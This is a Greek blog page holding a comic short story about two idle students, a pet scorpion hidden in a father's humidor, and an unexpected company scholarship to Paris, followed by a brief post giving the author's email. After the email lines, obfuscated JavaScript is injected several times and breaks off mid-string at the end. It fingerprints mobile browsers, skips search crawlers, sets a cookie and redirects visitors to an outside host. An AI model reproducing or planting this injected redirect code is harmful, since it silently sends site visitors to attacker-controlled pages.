Ενώ αντιμετωπίζαμε φαιδρά τα λόγια του όσο προσπαθούσα να τα αναλύσω έβρισκα να έχει δίκιο. Γιατί αν σκεφτείς κάποιον που τελικά περνάει στο πανεπιστήμιο όλα τα χρόνια των σπουδών χαλαρώνει και μεταθέτει το θέμα της δουλειάς για μετά την ηλικία των 27-28 ετών. Αντίθετα τα παιδιά που έρχονται αντιμέτωπα με την αγορά νωρίς, έχουν αυξημένο ένστικτο επιβίωσης και περισσότερες ικανότητες να ελίσσονται στις παγίδες του εργασιακού περιβάλλοντος.

Με την Έλενα έχουμε διαμορφώσει, ένα τρόπο ζωής αυτούς τους μήνες που μόνο στις πανελλήνιες δεν θα περάσουμε. Από τις 12.00 το πρωί κάθε μέρα για καφέ αποκτάμε γνώσεις σε οτιδήποτε άλλο εκτός από τα μαθήματα. Πρώτο θέμα: κινητή τηλεφωνία. Σας το ξαναείπα, ξέχασα όμως να σας πω ότι έχουμε ειδικότητα σε όλα τα δωρεάν προγράμματα των εταιρειών. Έχουμε αποστηθίσει και την παραβολή του καλού Σαμαρείτη από τη Βίβλο, αυτού του πρωτοπόρου, που από τότε παρείχε δωρεάν υπηρεσίες στο κοινό. Δεύτερο θέμα το στοίχημα. Αδιάφορο για την Έλενα αλλά επειδή είναι καθαρά αντρικό θέμα ανέλαβα να την ενημερώσω. Εδώ παίζουμε μόνο μία φορά την εβδομάδα, ένα και μοναδικό ευρώ, συνήθως το Σαββατοκύριακο που έχει αρκετές ομάδες, συγκεντρώνοντας ομάδες με μεγάλη απόδοση όπου ή θα πάρουμε εκατομμύρια ή θα χάσουμε ένα και μόνο ένα ευρώ. Και χτίζουμε και εμείς μια κερκίδα για τους ολυμπιακούς. Ένα σκαλοπάτι δηλαδή. Έστω ένα κομμάτι κάγκελο. Άντε καλά μ’ αυτά τα λίγα που παίζουμε θα πληρωθούν σίγουρα τα μισά σάντουιτς ενός αμερικανού σεκιουριτά των Ολυμπιακών.

Με την Έλενα κυκλοφορούμε παντού, από το πρωί ως το βράδυ κυκλοφορούμε διαρκώς. Ξέρουμε και ποιοι ανώτεροι υπάλληλοι δημοσίων υπηρεσιών πίνουν συχνά καφέ έξω σε ώρα εργασίας και ποιοι δημοτικοί σύμβουλοι κερνάνε ένα σωρό κόσμο, χωρίς να βάλουν χέρι στη τσέπη τους και διάφορες άλλες άχρηστες τέτοιες μικρολεπτομέρειες, που μόνο αν είσαι κουλ και κοινωνικός πέφτουν στην αντίληψή σου. Φυσικά κανείς απ’ όλους αυτούς δεν μπορεί να μας διορίσει κάπου – έστω κι αν πίνουμε καθημερινά εσπρέσο δίπλα τους – διότι χρειάζονται προσωπικό με εργατικότητα που θα ανεβάσει την ποιότητα των προσφερόμενων υπηρεσιών στο δημόσιο.

Έχουμε πολύ σύγχρονο πνεύμα και πραγματικά αδικούμαστε να είμαστε σε φάση αναμονής για τις επόμενες πανελλήνιες.

Πλησιάζουν Χριστούγεννα. Γκρίνια, γκαντεμιά και νεύρα κουρέλια. Το χρήμα λιγοστεύει, τα δώρα περιορίζονται στα απαραίτητα και από το φροντιστήριο τα νέα μας είναι αποκαρδιωτικά. Είμαστε οι χειρότεροι. Όλοι μα όλοι ξέρουν ότι δημιουργήσαμε το αχτύπητο δίδυμο της αποτυχίας.

Οι γονείς της, οι δικοί μου, οι καθηγητές μας ξέρουν όλοι, ότι εμείς οι δύο φτιάξαμε το αλχημικό κράμα που δεν χρησιμεύει σε τίποτε. Ο ένας παρασύρει τον άλλο όλο και πιο βαθιά στο κόσμο του ελάχιστου διαβάσματος. Έχουμε πέσει σε κατάθλιψη για χιλιάδες λόγους και σαν να μη φθάνει κι αυτό μια μέρα οι κολλητοί της Έλενας από το σχολείο- δύο κορίτσια και ένα αγόρι- τη παίρνουν τηλέφωνο ότι έρχονται από το Λονδίνο για τις γιορτές. Δεν υπάρχει έλεος, τώρα θα καταφθάσουν αυτοί με τα συνολάκια τους, με τα κουρέματα τους τα τρελαμένα, με τα κινητά τους τα φοβερά ( αν και πιστεύω ότι η Ελλάδα είναι ο παράδεισος των κινητών), δεν ξέρω πόσο φοβερούς τους φανταζόμαστε αλλά και μόνο τον αέρα της Αγγλίας που θα κουβαλάνε στις αποσκευές τους, αρκεί για να γεμίσουν οι νύχτες μας εφιάλτες.

«Δεν θέλω να τους συναντήσω με τίποτε» είπε η Έλενα. Τη δικαιολογώ αλλά τέλος πάντων παρά ήταν σνομπ αυτή η παρέα και δε γουστάρω τύπους που το παίζουν: ξοδεύοντας «ντάντι μόνεϋ» και προσπαθώντας να δώσουν λονδρέζικη προφορά στα «βλαχοαγγλικά» τους.

Και φθάνουν και δίνουμε ραντεβού στο καφέ που συχνάζουμε – αυτό με τις προσωπικότητες : δημοτικοί σύμβουλοι, στελέχη κρατικών οργανισμών, ποδοσφαιριστές Α κατηγορίας, μεταγραφές των 5000 ευρώ της Γ και της Δ, επαγγελματίες του 5×5, δικτυωμένοι, υπεράνω τύποι, άνθρωποι που τους συναντάς και στο ίδιο ψηφοδέλτιο – και καταφθάνουν και γίνεται σαματάς και έχουν τον αέρα της Αγγλίας και όλο το μαγαζί «μυρίζει» Λονδίνο και αναγκαστικά παίζουμε τον κουλ ρόλο μας και δεν κλείνουν το στόμα τους με τίποτε και αναγκαστικά ακούμε και πιστεύουμε ότι λένε.

Μας έφεραν και δώρο, όχι σε μένα στη Έλενα. Δεν παθιάζομαι από δώρα. Μαντέψτε τι είναι το δώρο. Θα σας δώσω για λίγες γραμμές την ευκαιρία να μαντέψετε. Είναι σε ένα πολύ κομψό περιτύλιγμα με πολύ οικολογικό χαρτί, ο όγκος του δεν είναι μεγαλύτερος από τη συσκευασία ενός σταθερού τηλεφώνου, και υπάρχει μία εντύπωση ότι και οι τρεις της παρέας το αντιμετωπίζουν σαν κάτι εύθραυστο και κάτι που κρύβει μια σιωπηλή μεταξύ τους συμφωνία.

Το παίρνει στα χέρια της η Έλενα, σκίζει το χαρτί και είναι ένας …Αφρικανικός σκορπιός σε ένα διαφανή κύβο από πλεξιγκλάς, περίπου δέκα εκατοστά μήκος, με μία ουρά γεμάτη δηλητήριο και φυσικά η Έλενα βγάζει μια κραυγή και όλο το καφέ παγώνει και όλοι αυτοί οι υπεράνω «κόφυ μόρνινκγ-φίλοι μας», σηκώνονται και περικυκλώνουν το Λονδρέζικο τραπέζι μας και κάποιοι νομίζουν ότι τσίμπησε την Έλενα και δείχνουν ένα δισταγμό να τον συνθλίψουν και σηκώνομαι και λέω «Παιδιά, παιδιά, παρακαλώ πολύ, αυτό το πλάσμα ήδη νοιώθει πολύ αποπνικτική την ατμόσφαιρα γύρο του» και κάπως έτσι σπάει ο πάγος από την αρχική έκπληξη και ο κόσμος επιστρέφει στις συνηθισμένες του θέσεις και κάνει αυτά τα γνωστά Ελληνικά σχόλια όπως «Μήπως έφαγε πολύ;» «Γκαρσόν ένα περιέ στο τραπέζι με το σκορπιό» και τότε μας εξηγούν οι φίλοι μας ότι είναι πολύ της μόδας στο Λονδίνο να έχεις εξωτικό κατοικίδιο και ο σκορπιός αυτός ζει πολλά χρόνια και κάποια στιγμή σε συνηθίζει και φυσικά μη φανταστείτε ότι σε ξυπνάει με ένα ελαφρό τσιμπηματάκι κάθε πρωί, ούτε κουνάει την ουρά του όταν επιστρέφεις από τη δουλειά το μεσημέρι, απλά είναι μία ζωντανή σιωπηλή παρέα για τις δύσκολες ώρες της μοναξιάς στη μεγαλούπολη.

Τότε μαθαίνουμε κι άλλα για την άγρια φύση, όπως ότι οι τηγανιτοί σκορπιοί είναι πολύ θρεπτικοί και έχουν μία γεύση σαν μικρή τηγανιτή κουτσομούρα ή θυμίζουν γαύρο στο ταψί με λεμόνι και φυσικά οι «γευσιγνώστες μας» έχουν δοκιμάσει και φίδι που θυμίζει κάπως το χέλι αλλά ουσιαστικά το φίδι έχει πολύ καλό φιλέτο γιατί το μυϊκό του σύστημα είναι πολύ γυμνασμένο μετά από τόσα χρόνια που σέρνεται διαρκώς και μιλάμε πως τίποτε απ’ όλα αυτά δεν με συγκινεί, παρά μόνο όταν ακούω ότι τρώνε και σκύλους και άλογα που τα θεωρώ αληθινούς φίλους και όχι φαγώσιμο κρέας.

Την πάω σπίτι της με το σκορπιό στα χέρια. Ευτυχώς δεν είναι κανείς εκεί. Πού να τον κρύψουμε; Πού να τον κρύψουμε; «Το βρήκα» φωνάζει η Έλενα. Στη πουροθήκη του πατέρα της. Ο σκορπιός χρειάζεται υγρασία για να μη ξεραθεί και εδώ έχουμε και ελεγμένη επιστημονικά υγρασία, από όργανα υψίστης ακριβείας, και θα του παίρνουμε τροφή από το πετ-σοπ και αν ξεχάσουμε μπορούμε να τον ταϊζουμε μικρά έντομα που όμως του αρέσουν ζωντανά. Τη κοίταξα με δέος και μου είπε ότι με μία κίνηση θα δώσει δύο λύσεις, θα χαρίσει και τα τελευταία πούρα του στους λονδρέζους, γιατί πολύ μούρη μας πούλησαν και όχι επειδή είναι του πατέρα της αλλά δεν νομίζω να έχουν καπνίσει ποτέ τους τόσο ακριβά πούρα.

Παίρνουμε τα πούρα και στη θέση τους βάζουμε το σκορπιό. Έχουμε μόνο ένα δίλημμα, αν πρέπει να τον βγάλουμε Φιντέλ ή Τσε λόγω της καινούριας κατοικίας του.

Εκείνες τις μέρες ο πρόεδρος της εταιρείας του πατέρα της πέρασε από το γραφείο να ενημερωθεί για την πορεία των εργασιών και το σημαντικότερο για να συζητήσουν πως θα κλείσει αυτή η αθλιότερη χρονιά που πέρασε ποτέ και αν συμφέρει να δημοσιεύσουν τον ισολογισμό με ζημιές ή να «μαγειρέψουν» κάποιο πιο ανώδυνο αποτέλεσμα. Το θέμα ήταν σοβαρό το αντικείμενο της εταιρείας είχε διάφορους κλάδους και ο πατέρας της κάλεσε τον πρόεδρο στο σπίτι για να μιλήσουν με την ησυχία τους στο γραφείο του. Και φυσικά έδωσε ρητές εντολές να μην πλησιάσει κανείς, να μην κινείται τίποτε άσκοπα μέσα στο σπίτι και να περιμένουν όλοι σε ετοιμότητα στη κουζίνα μήπως χρειαστούν καφέ, νερό, χυμό ή οτιδήποτε άλλο. Όλοι σταντ μπάι στη κουζίνα.

Την ώρα που έμπαιναν στο σπίτι η Έλενα έβγαινε για να έρθει να με συναντήσει. Μάλιστα κρατούσε στα χέρια της και τα πούρα – συσκευασμένα φυσικά να θυμίζει το δέμα σχήμα βιβλίου – και θα βρίσκαμε τους άλλους της παρέας γιατί ήθελε οπωσδήποτε να τους ανταποδώσει τη κίνηση με ακριβότερο δώρο. «Πέφτει» τότε πάνω στον πρόεδρο που δεν τον χαιρέτησε ιδιαίτερα λόγω των εχθροπραξιών με τον πατέρα της, που συνεχιζόταν και φυσικά ο πρόεδρος δεν είχε συνηθίσει να τον γράφουν αλλά όπως πάντα αυτοί οι τύποι παραδέχονται άτομα με τσαγανό και διαμόρφωσε μία μικτή εικόνα για την Έλενα στο μυαλό του.

Η Έλενα έφθασε κάποια στιγμή σπίτι μου με τα πούρα, μου εξήγησε ότι είχαν VIP φιλοξενούμενο και έφυγε μία ώρα αρχύτερα να μη συμβεί καμία αναποδιά. Μετά ενώ ήμουν σχετικά ήρεμος ξέσπασε σε φωνές και κλάματα λέγοντας ότι οι φίλοι της τη σνομπάρουν και αυτό το άθλιο δώρο ο σκορπιός είναι μία απόδειξη ότι τη δουλεύουν πίσω από τη πλάτη της και η οικονομική δυσπραγία του πατέρα της χτυπάει και τη δική της κοινωνική ζωή και πολύ το ευχαριστήθηκε που πήρε τα πούρα, γιατί σ’ αυτούς που το παίζουν «ακριβές πόρνες» μόνο με περισσότερο χρήμα απαντάς, γιατί μόνο αυτό κατανοούν. «Πούρα – πουροθήκη – σκορπιός» φώναξα ξαφνικά, είναι δυνατόν κλεισμένοι και οι δύο στο γραφείο του να μιλήσουν για δουλειές και να μη ανάψουν ένα πούρο; Είναι ποτέ δυνατόν; Κοιταχτήκαμε και μετά φύγαμε με τη ψυχή στο στόμα για το σπίτι της.

Οι δύο άντρες κάθονταν στο γραφείο και συζητούσαν. Το κλίμα είναι βαρύ και οι ζημιές εξαπλώνονται σχεδόν σε όλους τους τομείς. Οι επενδύσεις, τα αμοιβαία που αντιπροσωπεύουν ήταν τα πρώτα που δέχτηκαν ισχυρά χτυπήματα. Από εκεί και πέρα η κρίση απλώθηκε και σε κάποια είδη πολυτελείας που έκαναν εισαγωγή όπως τα πούρα με τα αξεσουάρ τους καθώς και τα δύο ακριβά εστιατόρια που διατηρούσε η εταιρεία στην Αθήνα και σκεφτόταν να τα επεκτείνει με φρανσάιζ και σε άλλες πόλεις.

Οι αριθμοί όσο προχωρούσε η πρόσθεση έβγαζαν ένα αποτέλεσμα απογοητευτικότατο. Και όπως είναι φυσικό σε τέτοιες φάσεις ανάβεις ένα τσιγάρο ή καλύτερα ένα …πούρο. Βγάζει το συρταράκι με τα πέντε πούρα από τη πουροθήκη και προσφέρει στο πρόεδρο που μόλις προλαβαίνει να τραβήξει το χέρι του από την απειλητική ουρά του Φιντέλ. (Τον είχαμε ήδη βαφτίσει). Ο πατέρας της Έλενας προσπάθησε να κοιτάξει σαστισμένος τι ήταν αυτό που έκανε το πρόεδρο να τραβήξει το χέρι του και έβγαλε ένα ουρλιαχτό δυνατότερο από της Έλενας στο καφέ των προσωπικοτήτων. Μετά έχασε τελείως τη ψυχραιμία του και ξέσπασε σε κλάματα. Όλα αυτά τα προβλήματα που συσσωρεύτηκαν αυτό τον καιρό έκαναν το ποτήρι να ξεχειλίσει. Ο πρόεδρος αντιμετώπισε το πράγμα με ψυχραιμία, ενώ ο Φιντέλ που ήταν ο μόνος αυτόπτης μάρτυρας για να αφηγηθεί τι συνέβη δεν μιλούσε ούτε καν τα Ελληνικά των σκορπιών. Ο πρόεδρος τον άφησε να ηρεμήσει, ενώ εκείνος προσπαθούσε να του εξηγήσει ότι η κόρη του είχε γίνει πολύ ατίθαση τώρα τελευταίως, ότι όλη αυτή η κρίση τον επηρέαζε και στη σχέση του με την οικογένεια, ότι ακόμη δεν μπορούσε να κατανοήσει πως χάθηκαν τα πούρα και στη θέση τους βρέθηκε ο Φιντέλ.

Εν τω μεταξύ εμείς πλησιάζαμε σπίτι και ενώ ο πρόεδρος ετοιμαζόταν να φύγει μπαίνοντας εμείς τον συναντήσαμε σχεδόν στη πόρτα. Μας πήρε και τους δύο και μας οδήγησε στο γραφείο. Ο πατέρας της Έλενας δεν μιλούσε. Η Έλενα κρατούσε ακόμα το δέμα με τα πούρα. «Πώς βρέθηκε ο σκορπιός μέσα στη πουροθήκη;» ρώτησε ο πρόεδρος και συνέχισε «και παραλίγο να με τσιμπήσει και είμαι και αλλεργικός» «Κατ’ αρχάς δεν είναι ο σκορπιός» είπε η Έλενα «είναι ο Φιντέλ και η πουροθήκη είναι το σπίτι του» Ο πρόεδρος γέλασε και ο πατέρας κρατήθηκε να μη την αρπάξει από το λαιμό. Ο πρόεδρος ρώτησε γιατί βάλαμε το Φιντέλ στη πουροθήκη και του εξηγήσαμε πόσο της μόδας είναι τα άγρια ζώα στο εξωτερικό και του είπαμε για τα εστιατόρια με εξωτικά φαγητά και είπαμε και άλλα πολλά που είχαμε μάθει από τους φίλους μας τους «Λονδρέζους». Ας πούμε μιλήσαμε για το πώς γίνονται πιο εύκολα εισαγωγές κάποιων ειδών και πως σε τέτοιους δύσκολους καιρούς κάποιοι παρακολουθούν σε άλλες χώρες τις τάσεις της αγοράς και μετά μπορούν να ρίχνουν χρήματα σε πράγματα που θα γίνουν οπωσδήποτε της μόδας στη Ελλάδα και στοχεύουν σε έξυπνες αγορές που έχουν σίγουρο κέρδος.

Τώρα αναγκαστήκαμε να ομολογήσουμε ότι κάποια στιγμή τα πούρα μας φάνηκαν χρήσιμα για να εντυπωσιάσουμε τους φίλους μας. Ο πρόεδρος άκουγε προσεκτικά, έμαθε για τις επιδόσεις μας στα μαθήματα, κατάλαβε την ανησυχία μας να σπουδάσουμε στο εξωτερικό και με λίγα λόγια είπε στο πατέρα της Έλενας να αναλάβει η εταιρεία τις σπουδές της στο Παρίσι. Η εταιρεία πάντα ενδιαφερόταν να ενισχύσει το προσωπικό της με νεαρό, τολμηρό και κυρίως ευέλικτο κόσμο. Εκεί και ενώ δεν το περίμενε κανείς η Έλενα άσκησε βέτο και είπε ότι δεν πάει πουθενά χωρίς τον κολλητό της. (Εμένα εννοούσε). Οι δύο άντρες έμειναν κόκαλο και την κοίταζαν. Ο πρόεδρος δέχτηκε να με στείλει μαζί της.

Είμαστε μαζί στο Παρίσι. Δεν είμαστε απλοί συγκάτοικοι αλλά και δεν σκοπεύουμε να παντρευτούμε αμέσως. Εκείνη παρακολουθεί μαθήματα εσωτερικής διακόσμησης επαγγελματικών χώρων και εγώ μάνατζμεντ ξενοδοχείων. Πιστεύω πως σε ένα χρόνο από σήμερα το Παρίσι θα είναι πολύ μικρό για μένα. Είμαι σίγουρος ότι επιστρέφοντας στην Ελλάδα η Έλενα θα αναλάβει το «λέυ άουτ» της αλυσίδας εστιατορίων της εταιρείας. Εγώ νομίζω ότι θα κυκλοφορώ με τη Φεράρι που ονειρεύτηκα. Και ο Φιντέλ είναι πάντα μαζί μας. Είναι το γούρι μας. Αυτό τον καιρό δοκιμάζει γαλλικά έντομα, όμως η μεγάλη αδυναμία του εδώ στο Παρίσι είναι: σουφλέ με χρυσόμυγες.                                                                       akaras1979@yahoo.grvar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαΐου 16, 2007

αυτό είναι το mail μου .

Filed under: Uncategorized — thelastrealanwnymous @ 7 :42 πμ

… εξακολουθώ όμως να είμαι ο ανώνυμος. Οκ;

akaras1979@yahoo.gr var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 